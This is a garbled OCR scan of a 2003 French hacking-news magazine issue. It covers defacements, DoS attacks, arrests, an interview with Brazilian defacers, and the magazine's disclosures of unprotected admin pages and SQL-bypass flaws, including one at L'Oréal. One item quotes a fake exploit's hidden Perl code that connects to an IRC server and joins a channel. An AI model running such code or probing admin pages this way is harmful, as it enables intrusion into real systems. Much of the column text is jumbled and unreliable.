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Les vacances, le soleil, la plage... Voila
enfin |a période la plus attendue de
I'année. Nouvelles rencontres, plus de
temps pour surfer, jouer, lire, découvrir.
Mais n’oublions pas |a rentrée, on
o rallume son ordinateur, on relance ses
mels et ¢'est @ ce moment que le pire
peut arriver ! De nombreux nouveaux
virii sortent durant 'été, alors n’oubliez
pas de metire a jour vos logiciels
de sécurité, Firewall, antivirus, et de
communication LE., Outlook, Mozilla ...
Dans ce 8eme opus de ZATAZ Magazine nous allons vous montrer comment
I'une des plus importantes sociétés mondiales de cosmétique et de produits
de beauté aurait pu avoir un sacré coup de soleil si un pirate était passé avant
nous. Dans un autre genre, |a période estivale est festive. On joue, on bronze,
on rit, alors détendez-vous avec notre jeu de plateau ZATAZ. De quoi passer une
paire de soirées avec des amis dans la bonne humeur !
L'été c'est aussi le moment de réfléchir a demain, & ce gue 'on souhaite faire,
devenir. Nous sommes allés interviewer un ancien pirate qui aujourd’hui se
retrouve devant la justice. Un message pour ceux qui voudraient suivre cette
mauvaise voie. Justice encore avec la découverte d'un logiciel frangais tragueur
de peédophiles sur internet, une arme efficace pour chasser ces monstres du
web. A découvrir aussi d'étranges internautes qui draguent, voir plus, sur le web
pour recevoir des cadeaux. 3
Bref, encore une fois des tonnes d'informations et articles 100 % inédits que
vous n‘avez lu nul par ailleurs ou que vous lirez dans 2 mois chez certains
autres ;)
Toutes les équipes de ZATAZ Magazine papier et Online se joignent a moi pour
vous souhaiter d'agréables et reposantes vacances. Vous pouvez d'ailleurs
apprecier le convoi des équipes de ZATAZ Magazine quittant la rédaction a
destination de la plage, de la mer et du soleil.
0On se retrouve mi-septembre avec des surprises en perspective et pour ceux
qui ne lachent pas pour autant internet, vous pouvez retrouver 24/24 et 7 jours
sur 7 les news de la sécurité informatique sur zataz.com
Damien Bancal
PS. : Merci aux fous furieux de I'international garden Dwarf pour ia photo.
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Saviez-vous que ZATAZ Magazine diffuse aussi de I'actualité en audio et ceci totalement
gratuitement ? Nous proposons chaque jour sur Fréquence 3, Radio Micro onde, Station Fm et
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I-'?hﬂﬁ defa’rﬁllle : FOUTCHEBOLL BLONDE OUI

Des étudiants de la faculté de St e s P i Nous avons donné un
Marie de Louis Country aux U.S.A ont T / GRNEELE TR e 4 Wi coup de main au site .
trouvé drole de diffuser la photo : \ . 7 o internet de la ligue A D U CH l E N
dune de leur petite camarade. Cette 1 freg g natio £ ; 5
1 2 n‘.qle deopite a liste de Free vient de sorlir une

photographie devait étre spéciale o francaise. Nous avons : . : :
carelleamisle feualafac! s == découvert que des pirates etite perle qui vaut bien une petite
. T s o : : : oy > bréve. Vous recherchez une blonde
Du coup les quatre étudiants se re | sl s'staient approchés de s ;
trouvent aujourdhui A la porte de e g B 2 brec i corveindo b intelligente, alors allez sur Google
I'établissement ainsi que la jeune : LNE s ont usé de Ia faill et tapez « Blonde intelligente » dans
fille qui n'avait rien demandé. Motif - -Isontuse delatalle | rostion recherche image. Vous n'allez
Politique scolaire. En attendant, la — § webdav et décrypte pas élre dégu. Une vraie blonde qui
mére de |'étudiante est entrée en : | | les mots passe leur 2 e

i e e R . Rl a du chien.
‘contact avec la police, sa fille est as- : i 3 - permettant d'accéder au

maintenant par des mels sa- ! o el scrveur de la LNF. Le

" T H & 5

b : webmaster a été prévenu, E M U TE U R
: 4 N wheaa | les corrections et un mel LA
~ Sale morveux ‘ | . LI . de remerciement ont suivi. P sx P 0 U R
Agé de 12 ans, Kidd0 est un gamin

surmternel comme ilenexiste beau- P "
up. Il n'a pas aimé un commentaire w F R - | ORSIE 141! LA x B Ox
~du magazme électrcmque ameri- H ! m
N 3 2 | o g e
SRl deonn ey = : o Les amateurs d'émulation n'arrétent
Bilan, le sale m hea 6t lancer un CO LU M B I N E 7 : = A7 pas de nous épater. Xport, codeur

Démenti de Service, un DoS, a l'en- ; : o
X e o fou, vie r le premier émulateur
contre du serveur hébergeant.le site e site internet appartenant au réalisateur Playstaztogzglﬁulzecoisile de jeula

utilisé 1,000 machines connectées inte‘:l:;:?: iqmor:?;epise firﬂgac:zeﬁ rl‘en:!ilczﬂel:wr:aire ' | Khoxell estmaliienatposss oioten
~ au réseau pour lancer son attague. . | aux jeux de Sony sur la console de salon
—— ' / : ¥ ' de Microsoft via des iso, comprenez des
A laune copies conformes d'un cd Playstation.
e Ao 2 ; { o 5 Nous apprenons par ailleurs en plein
JLosgalinsls dmbabivenys o o= : 4 | bouclage de l'actualité que Xport aurait

; :E:;ginr:gaéi;'::;?l?&rzes T farmas aussi lancé un émulateur d'Atari 2600,
il ; toujours pour Xbox !

~ tions. Un pirate a réussi a rajouter un 7
~ contenu critiquant le président < e : — : B Lo
 Robert Mugabe, Le journal a dd faire . E i - N
) n hébergeur pour réparer 1 ¥ g - 9\
” = 5L " \ )( \ e
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“Bowling for Columbine” soit récom- »
pensé aux Oscars. NHA Crew, le pira- ) 2

te, explique que le reportage de Moore *
est faussé. Il invite les cinéphiles a se
rendre sur le site revoketheoscar.com

hi,semble avoir agit du.
f i a utilise le login et le
“mot de passe durédacteur en chef.

Amazones

- Crystal Jane Smoot et Allison Elaine
Littleton, anciennes salariés chez
‘Amazon, viennent d'étre condam-
nées & plus de 40.000 euros CO U P D E PO U c E
d'amende eta S ans de mise al'essai §
pour. avoir utilisé de faux noms et § ous avons découvert un probléme de sécurité qui visait 'hébergeur interaction-multimedia. Ce professionnel de l'internet et de
adresses électroniques pour obtenir la communication utilisait quasiment & chaque fois la méme méthode pour se connecter & la page d'administration de ses
frauduleusement des milliers de dol- clients. Cerise sur la souris, la faille Bypass SQL ouvrait la porte aux pirates avec possibilités selon les clients d'avoir accés aux
fars de marchandises commandées données sensibles. Le probléme a été corrigé aprés notre alerte.
chez leur ancien employeur.
Les filles s'étaient fait livrer bijoux et
matériel hi-fi quelles revendaient
ensuite sur eBay.

ELECTION SANS DOMAINE FIXE

e 'un des sites du Front National
Le cyber café parisien, Cyber World frangais a eu de la visite.

Méthude 'mu:scl_e"e

ors d'un de nos surfs, nous sommes

tombés sur I'hébergeur belge My
Own. En suivant les liens de cette
SOCiété nous sommes arrives a une

Café, a découvert l'efficacité du ser-

; ; s Frontnational.com a été barbouillé par un
vice aprés-vente de Wanadoo.

st 2 | hacktiviste sans nom. M. Unknow man y
La filiale internet de France Télécom | a laissé son message : “Non au racisme,

a coupé la connexion de ce cyber : . ;
café carce dernier diffusait des viriia non @ la guerre, oui & I3 tolérance et oui page administration comprenant une
au partage.” Source : h3zen

partir de certaines de ses machines faille idiote, la possibilité de ne pas utili-
sERBRmee 5 501, i ey ] @ ser de mot de passe. Un sacré problé-
Quinze postes ont du étre formatés § e BT ‘ me pour un hébergeur car Ia faille

et réinstallés avant que Wanadoo ne : g aurait pu permettre a un pirate de jouer
jpanchedonbyveaniscale: avec les noms de domaine achetés via
' cette entreprise. Nous avons donc
contacté cette entreprise qui a corrigé
quelques heures aprés notre alerte.
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" P PACTU

- T T E——— HUMOUR!
: PRESSE :

Les policiers de Calcutta, en Inde,

' en ont plein le dos. Leur site web

U N E Fo IS - a élé envahi d'images pour adultes.

Calcuttapolice.com
Nous avons donné un coup de main a une a été remplacé par la page d'une
agence de presse belge pour contrer les internaute fan de lingerie !
pirates. Le site Inter Press avait un gros
probléme de sécurité qui offrait la possibilité
d'accéder a la base de données des
journalistes inscrits dans ce club de la presse.
Un pirate aurait pu mettre la main sur une
énorme liste de journalistes, de clients, avec
mels, mots de passe, noms et adresses ...
Dés notre découverte nous avons contacté
nos collegues qui ont corrigé dans I'heure.

Tina's Free Live Cam

Un de nos lecteurs, Jordan, nous a envoyé

un courrier nous expliquant une etrange

découverte dans le site de I'agence de publicité o R P ot o
Viral games. On ne sait par quel moyen, ni lui Index of /webmail/database
d'ailleurs, mais il a eu accés & un lien donnant
acces au mot de passe d'un des administrateurs.
Une page php mal protégée avec login et mot de
passe. N'importe quel idiot du village aurait pu
pirater les informations de cette personne.

Ala lecture du mel de notre lecteur nous avons
regardeé le lien et suivi ceux fournis ensuite par le
serveur web. Nous allons découvrir, sans utiliser
un quelcongue mot de passe et en utilisant des
urls publics, les dossiers des salariés de cette
entreprise, et plus précisément, leurs dossiers
webmail. Bref, ni une, ni deux, nous avons écrit &
cette entreprise (Ndlr, Notre lecteur semble ['avoir
fait lui aussi). Quelques jours plus tard, par ;
curiosite, nous avons voulu nous assurer de la correction de ces problémes. Viral games a bien corrigé, dommage que pour ce

« leader de la communication » aucun remerciement n'a été adressé. A force de croire éfre les rois beaucoup d'entreprises,
d'administrateurs, pensent que remercier n'est pas utile. lls sont bien au-dessus de ¢a ! Seulement n'oubliez pas qu'un internaute
qui découvre une faille peu trés vite devenir un pirate, un petit criminel. Ne pas lui répondre peut étre pris comme un affront,

une maniére de lui « pisser » dessus via un mépris non mérité. Pensez-y | Répondre peut permettre d'en faire basculer plus d'un
vers le bon cété de la force.

Last medified .

]

=00

ANTENNE PAS CHERE

VOLIS ne savez quoi faire avec vos vieilles disguettes ? Recyclez-les en
antennes wi-fi a un gain de 9 dBi | Thomas Gee nous a communiqué un lien
amusant sur ce recyclage pas comme les autres. A découvrir sur le site Wi-fi
Montauban.
http://www.wifi-montauban.net/communaute/index.php/DisquettAntenna

ForcEE ? f 1k M L'INFORMATIQUE

L'associalion de l'industrie = i ] é: La ville de Oulu, en Finlande, a connu ses plus importants

musicale Us, la RIAA, a f embouteillages mi-juin. L'ordinateur qui gérait les feux
intenté 18 procés confre des ™ ke : de signalisation a blogué les feux rouges du centre ville.
petits commercants du Texas, de Floride et de New York. Il faut dire aussi que la commune cherchait les ennuis.
Les magasins vises sont des stations essences, des épiceries, des dépots L'ordinateur de gestion datait de... 1991.

ventes, ... hitp://plus.kaleva.fifhtml/J Tpage321980.html
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PIEGE

A PIRATE

lusieurs sites “underground” ont diffusé un exploit, com-
prenez un moyen de pirater quelque chose. Cet exploit
est nommé “smb 2*, une méthode qui aurait la possibilité
de planter toute les machines Windows & distance. Bref,
ce genre de délire amuse un certains nombres d'idiots du
village, qui aujourd'hui, sont en plus honteux. Beaucoup
n'ont pas vu, et pour cause, que I'exploit en question n'est
rien d'autre qu'un fake, une grosse blague. En éditant le shell-
code, on se retrouve avec ceci :

&‘ R “ ‘.‘.

i

“chan="#fdarknet":$nick="moron";$server="efnet.vuurwerk.nl":$SIG{TERM}={};exit i fork;use 10::socket;$sock = 10::socket::INET-
>new($server.”:6667")||exit;print Ssack “USER moron +i moron :moronv2\nNICK moron\n®;$i=1;while(<$sock>=~/*[" |+" ce qui pro-
voque du méme coup une connexion sur un serveur IRC, efnet.vuurwerk.nl:6667 avec comme pseudo “moron” qui tente de rejoindre
le canal #darknet. Ce chan IRC a été fermé, mais il affichait figrement il y a quelques heures encore ceci: “i'm a morron that ran a

fake Oday exploit’.

PIRATAGE A LA CHAINE

La police de Moscou vient de démanteler une usine dédiée uniquement & la
contrefagon. Nous sommes trés loin du petit copieur dans sa chambre. La poli-
ce estime que 40.000 cds pirates sortaient chaque jour de cette manufacture. Les
contrefacteurs s'étaient spécialisés dans la reproduction de DVD. http://www.russia-
journal.com/news/cnewswire.shtml?nw=38690#n38690

PIRATAGE
SUR LE GAMECUBE

CWG> s s T AR E U B E = T, AR F
i 1
] I
1 1
i :

G Dptical Disc
= BEtpz//weu. codeJunkies .con

un n
| & button; what's more, the Gapecube-

| incluges the FreeLoader technology, ou

| Eura, US and Japanese qanes on your GameCube with no
| moa enip required.

I

es premiéres copies pirates pour la console de Nintendo débarquent sur le réseau.

Elles sont signées par le groupe StarCube. Les premiéres copies sont :
L'action Replay, le FreeLoader et The legend of Zelda the wind waker. Les auteurs de
ces premiers isos expliquent cependant qu'ils sont illisibles
sur une console de Nintendo en raison d'un mode
de chargement particulier. Un chargement, d'aprés
les informations que nous avons pu avoir qui
fonctionne un peu comme celui de la console de
Sega, la Dreamcast. La lecture des cds se faisant
4 l'envers du monde normal.

Sachant qu'aucune puce n'est sortie pour cette
console permettant d'utiliser un mini cd vierge,
ces premiéres copies sont surtout 1a pour affiiter
les « chercheurs » qui auront tout I'été pour
s'acharner sur la boite & jeux de Nintendo.

000000 O R0 0P ERR0000000SS00000SRRRRRRRORRRRRS

BUGBEAR.B,
UN VIRUS
BANCAIRE ?

e FBI enquéte sur le virus Bugbear.b.

Et si ce virus avait été fabriqué pour
attaquer les banques. Ce virus qui est
apparu la semaine derniére, au moment
d'ailleurs du GB d'Evian, a touché des

" millions de machines, dont 1 200

banques dans le monde entier.
Bugbear.b tente de voler les mots de
passe et d'installer un backdoor. Le FEI
pense, suite a I'avis d'experts, que cette
attaque n'était peut-étre pas si anodine.
Le virus avait dans son code une liste de
1.200 adresses web d'institutions finan-
ciéres comme : J.P. Morgan Chase & Co,
American Express Co, Wachovia Corp,
Bank of America Corp., Citibank N.A.
mais aussi des banques frangaises
comme la BNP.

000000 0SSERNORBROROTDN

QUI AIME
BIEN,
CHATIE
BIEN

Une sentence originale vient de
punir quatre étudiants
Thailandais. Au lieu de purger une
peine de prison un juge de
Bangkok a décide que les pirates
allaient étre condamnés en allant
corriger et maintenir le site qu'ils
avaient modifié un mois plus tot.
Les pirates avaient changé des
informations sur le site du ministre
de la technologie et de l'informa-
tion. lls avaient indiqué I'ouverture
d'un nouveau club pour adulte.

S eseceBROERRBRRBRROESODS
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BACKTO THE FUTUR

L'armée américaine, via le DARPA, travaille sur un systeme qui sera
capable de prédire le futur comportement d'une personne. Un peu
comme dans le film Minority Report de S. Spielberg. Le Defense Advanced
Research Projects Agency, ou DARPA, a lancé un appel d'offre proposant
quatre contrats de dix-huit mois pour lancer des recherches sur un systéme
nomme LifeL.og. Le systéme doit étre capable, via un appareil photo, cap-
teurs et bases de données de deviner les intentions d'une personne.
http://edition.cnn.com/2003/TECH/ptech/06/03/pentagon.superdiary.ap/

Nous parlons souvent des défaceurs brésiliens. Unvrai
nid a pirate que ce pays. Nous avons voulu en savoir plus
en allant interviewer I'un des piliers de cette scéne :
underground d’Amérique du sud, la team de Hax0rs

Labs. Avec plus de 10.000 piratages ils sont aussi I'un
des plus vieux groupe de pirates agissant du cété de Rio

C’EST UN HOTEL CA ?

ouvelle découverte de ZATAZ Magazine. Un probleme de sécurité sur le site

SARIM qui aurait pu permettre & un pirate de jouer avec le service wap de
cette société. SARIM, est un service WAP traitant de tourisme. Il permet d'obtenir
en temps réel des informations touristiques personnalisées selon I'endroit ou
vous vous trouvez. Seulement il semble aussi que le site offrait plus que prévu.
Nous avons découvert que |a page administration n'était pas protégée face aux
pirates. Il était possible de modifier les informations et donc de diffuser n'importe
quoi et de perdre 'utilisateur. Dés notre découverte nous avons contacté cette
société qui a corrigé dans I'heure.

2N 1artoninice d oiet SATHM - Microsslt Ladssrial [ splesict

MICKEY S’EN VAEN
GUERRE

Le monde de Nemo, Le prochain Disney/Pixar, prévu en salle obscure en
novembre prochain va étre surveillé de prés lors des avant-premiéres.
Disney vient d'annoncer que les “vigiles” dans les cinémas ou auront lieu les
projections tests et d'avant-premiére fouillerons les cinéphiles avec des
détecteurs de métaux et seront équipés de lunettes infrarouges pour controler
les salles obscures afin de desceller les petites lumiéres vertes des caméras.

ECOLE DE HACKERS

La Tiger Team propose un projet plutét original. Ce programme exfra-scolaire
americain va étre lancé dans le Maine, USA. Il va apprendre aux adolescents
les bénéfices du *hacking moral” et comment I'utilisation de leurs habiletés en
informatique peut servir dans des buts constructifs.
http:/fwww.nytimes.com/2003/05/29/technology/circuits/29hack.html

patchés.

de Janeiro.

Pro quinto dos

. Prepotentes!.

Qui est hax0rs ?
Nous sommes deux brésiliens :
FOul - USDL. Notre team a été créée

voila bientdt trois ans.

Nous sommes motives par la société, le
monde. Nous faisons des piratages
pour nous amuser. Quand nous le pou-

: vons, nous ulilisons notre savoir-faire

pour protester, pour passer un message
politique.

soyez t
Nous faisons ce que nous aimons et
nous avons une totale confiance entre
nous. C'est grace a cela que nous

sommes toujours la.

Depuis peu, nous ciblons des sites
gouvernementaux ou ayant une impor-
tance économique certaine. Nous cher-
chons via des moteurs de recherche
mais nous avons aussi une base de
données qui contient beaucoup de sites
importants. (Ndir : Début mars 2003
hax0rs lab va pirater pas moins de 5
000 sites web, américains, africains, ita-
liens pour dire non a la guerre en Irak.)

Liberte, égalité et paix.

|I faut dire surtout que le medias don-
nent beaucoup d'importance aux
groupes brésiliens et ces derniers
recherchant leurs 15 minutes de gloire,
ils en profitent et en abusent. (Ndlr, les
15 minutes de gloire sont un concept du
roi de la pop-art Andy Warhol qui expli-
quait que nous aurons tous un jour nos
15 minutes de gloire.)

(4" est ce qui vous arretera ¢

Peut-étre la police. J'ai cru un moment
que le manque de temps ne nous per-
mettrait plus d'agir, mais je n'ai pas
besoin de beaucoup de temps pour lan-
cer quelgues attaques.

a justice, de votre Vs 7/
Franchement non ! Au Brésil des lois
spécifiques qui punissent le piratage

n'existent pas. On en profite |

barbou 37

Oui, cela est tres souvent le cas. Par
exemple sur le site de Levi.com, je suis
tombé sur des informations du webmas-
ter. Sur FreeBSD Australie je suis carré-
ment tombé nez a nez avec d'autres
defacers. Je me suis présenté et
comme ils me connaissaient, ils m'ont
laissé la place. Certains voulaient ren-
trer dans Hax0rs labs. Nous sommes
tous amis depuis.

Oui, quotidiennement nous recevons
des e-mails de gens complétement
malades.

Zataz Magazine - 7
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TOUTE LACTUALITE DU HACKING ET DU PIRATAGE

 foutcheboll i.'s:ulte'-_e i

La finale de la coupe de I'UEFA

. piratée. Lors de la retransmission

‘du match Celtic C
_un'hnmm_e' en no

va se mettre a poil.

ouveau chez les

~ des dizaines
“monde.

ARGENT DE POCHE

La police britannique offre la récompense de 1 000 livres sterling, soit plus 1390
euros, via une page Internet dédiée a la capture d'un criminel. Le site Web qui a eté
lancé au mois de mai. Il propose dans la foulé des statistiques au sujet du crime par
arme & feu. hitp://www.west-midlands.police.uk/ventara/default.htm

PIRATAGE
DE CASINO

Le journal Las Vegas Sun a-t-il lu ZATAZ
Magazine papier numéro 7 ? Ce quotidien a
édité un article, au mois de juin, sur la
sécurité informatique dans les casinos de la
ville lumiére. Si les casinos prennent en
grand soin dans la sécurité physique des
locaux, coffres et compagnie, l'informatique
serait laissée de coté. Vieux logiciels, absence de mises & jour qui ouvriraient la
porte aux cyber-attaques de clients fachés, des concurrents...
http:/fwww.lasvegassun.com/sunbin/stories/gaming/2003/may/29/515145345.html

SILENCE

Une attague de démenti de service, un DaS, a visé le plus important moteur de
recherche chinois, Baidu.com. Deux attaques ont été lancées le 15 et le 18 mai. Les
pirates auraient été ciblés au Royaume-Uni et en Espagne. Du moins les proxys et les
machines zombies qui ont dd servir & cette attaque se situaient dans cette région.
hitp://www.interfax.com/com?item=Chin&pg=08id=5639786&req=

CODE MAL BARRE!

Lors d'un de nos surfs nous sommes tombés sur le site Digita RUM. En quelques
mots, cette entreprise permet la recherche de produits, par code-barres, par
mots-clés ou par guide/assistant(3D-Search). Elle permet via son site web

la comparaison des produits entre eux et des offres des marchands entre elles sur
plusieurs dimensions (prix, délai de livraison, colt de livraison ...). Bref, ici on parle
commerce. Seulement voila, le site avait une énorme faille. L'accés a sa page
administration sans aucun login et mot de passe. Il était possible de tout modifier,
comme les news et informations clients. Le genre de probléme que pourrait
affectionner, en ['utilisant, un concumrent par exemple. Dés notre découverte

nous avons donc contacté cette société, qui a corrigé en exactement 6 minutes,
mel de remerciement compris.
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ANTI
SPAMMEUR

‘hacktiviste no__spam vient de
frapper de nouveau. Il a passé son
message sur le site Pinke tel.
Le webmaster a di abuser des mels

publicitaires non sollicités pour se

retrouver avec son site modifie par le
message suivant : « Vous avez regu
un message - J'aime pas les
spammeurs ».

NEWS

BUSTED

Le pirate informatique frangais, DD,
de son vrai prénom Damien, a été
arrété par la police le 25 juin dernier
au saut du lit. A 6 heures du matin les
policiers de la SRPJ de Lille ont saisi
dans la foulée son ordinateur, des
CD-Romset et ses agendas. Sa garde
a vue a duré 48 heures, 24 heures a
Paris et le reste a Arras. Pourquoi
Arras ? La plainte qui vise DkD est
venue de la préfecture du Pas de
Calais. Le jeune parisien y avait fait
un passage remarqué en avril dernier
en piratant leur page d'accueil.

Nous avons pu joindre DkD au
téléphone, nous remercions d'ailleurs
la personne qui nous a mis en
contact. "Les policiers ont été sympa,
mais j'admet que j'ai déconné, ils me
l'ont bien fait comprendre (...) La
garde a vue ce n'est vraiment pas
drole (...) On a parlé un peu de tout,
de ZATAZ aussi. (...) lls semblent
qu'ils aient dans leur collimateurs
d'autres défaceurs mais je ne sais pas
qui." DkD est aujourd'hui sous
contrdle judiciaire, il doit signer sa pré-
sence chaque mois au commissariat
et il a interdiction de toucher & internet
tant que le juge ne Iui aura pas donne
son accord. Ce jeune parisien de 17
ans s'était donné comme mission
d'exprimer les problémes que vivaient
les palestiniens au proche-orient. Il a
piraté plus de 1.000 sites dont des
gouvernements et des sites militaires
US. Le fait d'avoir altaqué des sites
francais aurait mis la police franaise
a ses trousses. Voila un autre
exemple que modifier des pages web
ne sert & rien, sauf a se retrouver
avec la justice sur le dos.

U n jeune accro de jeu vidéo en réseau a tenté de voler 10.000 dollars en piratant le compte bancaire de ses parents. Agé de 14
ans le sale gosse avait caché un sniffeur dans la machine de la famille interceptant ainsi les frappes claviers des parents. La
banque a remarqué d'étranges tentatives de transactions et a pris l'nitiative de téléphoner au titulaire du compte.
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PILOTE AUTOMATIQUE

ors d'un de nos surfs nous sommes tombés sur le site des
Pilotes maritimes. Nous recherchions des informations
sur le dégazage en mer pour un article. Pour information
les pilotes maritimes sont les maitres du port. Sans eux
aucun bateau ne pourrait rentrer, ni sortir, d'un port. En
suivant les liens du site en question nous sommes
tombes sur une page administration qui n'était pas
suffisamment protégée. L'acces permettait d'avoir
acces aux informations uniquement visible, normale-
ment, aux pilotes. Dés noire découverte, nous avons
lancé une bouteille & la mer, un mel en fait, qui va accos-
ter 5 mns plus tard chez |'administrateur. Le probleme a
été corrigé et une missive de remerciement nous a été émise. Hissez
le perroquet moussaillon, repartons a la traque des pollueurs des mers.

TRAQUE PHOTOGRAPHIQUE

Via sa start-up, In-Q-Tel, la Central Intelligence Agency vient de metire une
enveloppe sur la table de la société californienne PiXlogic. Cette derniere travaille sur
un logiciel capable de parcourir des millions de photos, vidéos et de retrouver, par
exemple, une personne. Le logiciel est capable de reconnaitre un signe dans une
rue, en analysant plusieurs dizaines de milliers de photos.
http:/f'www.pixlogic.com/products/pixsearchSDK.html

DIRECTION CASE PRISON
Rairl | coupe A i e

pseudo groupe de pirate
AIRTEL MAHARASHTRA terroriste, d'apres des experts Us,
OWNED BY AIC

vient de voir son leader
condamné a 1 an de prison.
: ; Adil Yahya Zakaria Shakour,
is:burming 18 ans, originaire de Los Angeles
a été commandé a payer
88 253 dollars et a trois ans
d'interdiction d'utilisation
d'informatique aprés sa sortie
de prison. A.l.C. avait pénétré
plusieurs sites militaires US
en 2002 pour y laisser des
messages anti israélien et pro
cachemire. AIC a piraté quelques
375 serveurs en 1an.

ject even the innocent children to severe torture and kill the
“terrorists”

ANTI PIRATE

lusieurs lecteurs nous ont fait part d'une forme
d'espionnage qui a pour but de protéger les
logiciels des pirates. Voici I'un des mels regus :

« J'ai testé un logiciel qui s'appelle zéro popup killer,
je l'ai téléchargé. Pour savoir ce que donnait la version compléte
jai recherché le numéro de série sur le web et je I'ai entré pour

avoir la version compléte. J'ai recu un mel sur mon adresse
officielle, que je n'avais pourtant pas donné, de cette
) société m'avertissant que jluilisais un programme
“cracké” et que j'avais 5 jours pour le payer ».
Ce genre de méthode n'est pas légale en France,
mais utiliser un logiciel pirate ne I'est pas non plus.
A noter que des logiciels comme FlashFXP contrélent chaque 1er.du mois si la
version installée sur un pc est achetée ou non.
Nous vous expliquions, en exclusivité dans ZATAZ Magazine 3, comment des
sociétés avaient mis en place des systémes anti piratage utilisant I'espionnage
des utilisateurs.

DES MISS FRANCE PARTOUT

ous avons regu un courrier du comite Miss

France qui nous informe d'une plainte
déposée a I'encontre d'un internaute ayant acheté
le nom de domaine comitemissfrance.com. La
marque a été "piratée” car le site officiel se
termine par un .fr. « nous avons déposé une
plainte pour contrefagon de marque et
détournement de nom de domaine, devant
Monsieur le Procureur de la République de Paris. »
dixit Jean-Louis Giordano, président du Comité
Miss France. C'est la BEFTI qui a la charge de ce
dossier et qui instrumente actuellement une
enquéte. Méfiance donc si vous étes une belle
plante qui souhaiteraient participer aux concours.
Le site officiel est en .fr. Méme cas pour le site
missfrance. L'officiel aboutit sur le site de Tf1.

BON PLAN

epuis |'existence de ZATAZ

Magazine Online nous avons
changé en 6 ans 12
fois d'hébergeur. Les
motifs étaient variés :
problémes de bande
passante, de service
aprés vente et dans le
pire des cas, de cen-
sures. Nous nous
sommes donc pose la problématique
suivante : Et si nous nous hébergions
nous-méme ? Voila qui est fait via un
service d’hébergement que nous venons

T" AS PAS 10 MILLIONS ?

T e Tl Frevonds Vrocs  Fonl T
Echir fdfon Michae Foom [uh 7
FER R

de lancer. Vious possédez un ou
plusieurs serveurs et désirez les
héberger dans un
el DataCenter sécurise,
i % couplé a une bande
8 K - passante robuste,

5 | redondante et rapide.
L'équipe technique
vient de lancer
ZATAZ net qui peut

fournir la solution sécurisée a vos
besoins. Pour toutes informations
supplémentaires, n'hésitez pas a nous
contacter sur.services@zataz.net.
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. violates the “anti-pa stahite, seeks fo

defendants m the case are fh
finished prints of the photogr

Barbara Streisand vient d'attaquer en justice le webmaster du site internet
californiacoastline.org. L'administrateur de ce site est accusé par |'actrice d'avoir
pris une photo du domicile de la dame, basé & Malibu, et de I'avair diffusé sur le web.
Elle exige le retrait de la photographie et demande |a coquette somme de 10 millions
de dollars en brandissant la loi anti-paparazzis mise en place en Californie.

JEUDI NOIR A KARACHI

La Bourse de Karachi, Pakistan, a été victime, début juin, d'une attaque de
masse. Un Déni de Service Distribué. Il annonce I'attaque qui serait due a un.
virus. Soit les hackfivistes indiens sont passes par |, soit ils ont cliqué sur le ver
Bugbear.b.
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PARCE QUE JE LE VAUX B1EN

JUIN 2003. LORS D’'UN DE NOS SURFS JOURNALIERS NOUS TOMBONS SUR UNE
PAGE QUI AURAIT PU CHANGER L’ECONOMIE DE L’UNE DES PLUS IMPORTANTES
SOCIETES DE COSMETIQUE DU MONDE. UNE SOCIETE FRANGAISE QUE NOUS NOUS
DEVIONS D’AIDER. SORTEZ LA CREME A BRONZER, LA TEMPERATURE VA MONTER

GRACE A ZATAZ MAGAZINE..
PETIT QUIZ

C'est |'été, période ol nous sommes plus joueurs que d'habitude. Prenons
notre plus belle voix de présentateur T.V. Allez au hasard, Julien Lepers.
Sortons notre ficher et répondez & notre question. Attention, il y avait un acces
intégral & serveur internet d'un des leaders mondial du produit de beauté.
Vous étes préts ? Allons-Y !

« Je possede au moins 28 sites au sein de mon groupe. Je suis implanté en
Chine, Japon, Corée, Taiwan, Thailande, Singapour, Inde, Malaisie, France,
U.8.A., Canada, Allemagne, Hongrie, ltalie, Espagne, Finlande, Argentine,
Angleterre, Suisse, Turquie, Pays-Bas, Belgique. Je ne parle méme pas des
sous sites et autres déviations marketing. Je suis un des plus grands groupes
frangais, je fais 14 288 millions d'euros de chiffre d'affaire (Presque comme
ZATAZ Magazine, & quelques milliards préts, Ndlr), je fais 1 456 millions
d'euros de résultat NET, et j'ai plus de 50 000 salariés de 98 nationalités
différentes au 31 décembre 2002. Je suis présent dans 130 pays et mon
groupe dispose de 290 filiales et de 42 usines dans le monde... je suis, je
suis... »

L’O R EAL&Q&E@.&
B e

LML 1

|
DECOVER |
s oo
CLICK HERE

Voila le portail de Loréal

PORTES OUVERTES

Je suis la société 'OREAL et je ne suis pas prudent, mais alors pas du tout !.
Vu la cagnotte annuelle a croire qu'ils n'ont pas assez d'argent pour se payer
un petit audit de temps en temps. Bien sdr on rigole, on sait méme qu'ils en
ont de trés nombreux en interne et externe via des sociétes dignes de ce nom.
Mais alors ou est le probléme ? Et bien ce « probleme » se trouvait dans le fait
que nous aurions pu TOUT modifier : chaque site, chaque page, chaque
contenu de cette entité et de ses marques. Imaginez le probléme si un pirate
avait trouvé le méme accés que nous. Prenons le cas d'un boursicoteur
malicieux, ou dangereux. Ce dernier accéde a la méme administration que
nous avons découvert et publie, par exemple, de fausses informations
boursiéres, puis décide de contacter les agences de presse, et pour peaufiner
son piratage communique son « message » via la news letter de 'OREAL.

On vous laisse imaginer la suite du probléme si quelqu'un d'aufre que ZATAZ
efait passe par-la !
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£t maintenant voild la section Administration du site !

DEUX MAINS GAUCHES ?

Alors que le site est particuliérement joli et bien pensé, il semble que le fond,
ce qui permet de le protéger par exemple a légérement été délaisse.

Le lien vers cette page administration avait en tout cas de quoi rougir. Un bon
gros loreal.com/admin/, on vous passe les autres informations de cet url pour
éviter de voir nos « zamis » reprendre cette exclusivité & leur compte ! Coté
faille, un petit probléme de bypass SQL, comme d'habitude... Mais la on se
pose une question : gue foutent les administrateurs ? Depuis le temps que
cette faille est connue, il faudrait peut-gtre retirer les posters des damoiselles
de 'OREAL qui tronent sur les murs du bureau et penser un peu a bosser !

SEUR ANNE NE VOIS-TU RIEN VENIR ?

Dés notre découverte une belle missive a été envoyée aux administrateurs de
I'OREAL ainsi qu'au service presse, afin de mettre tout ce petit monde dans la
confidence. Notre but ayant été atteint, prévenir et voir se faire corriger le
serveur de cetle entreprise frangaise de taille, nous pouvions retourner sous le
soleil... sans oublier la tonne de créme a bronzer que nous a envoyé 'OREAL.
Mais dites-nous, 16 tonnes de tubes, ¢a fait pas un peu beaucoup ?

PROTECTION... SOLAIRE !

Aussi étonnant que cela puisse paraitre, nous n'avons jamais
autant trouvé de sites faillibles a ce genre de coup de soleil. Pour
dire, nous avons atteint les 6 000 alertes. Et ici nous ne parlons
que de serveurs frangais. Nous n'avons pas compté les Belges,
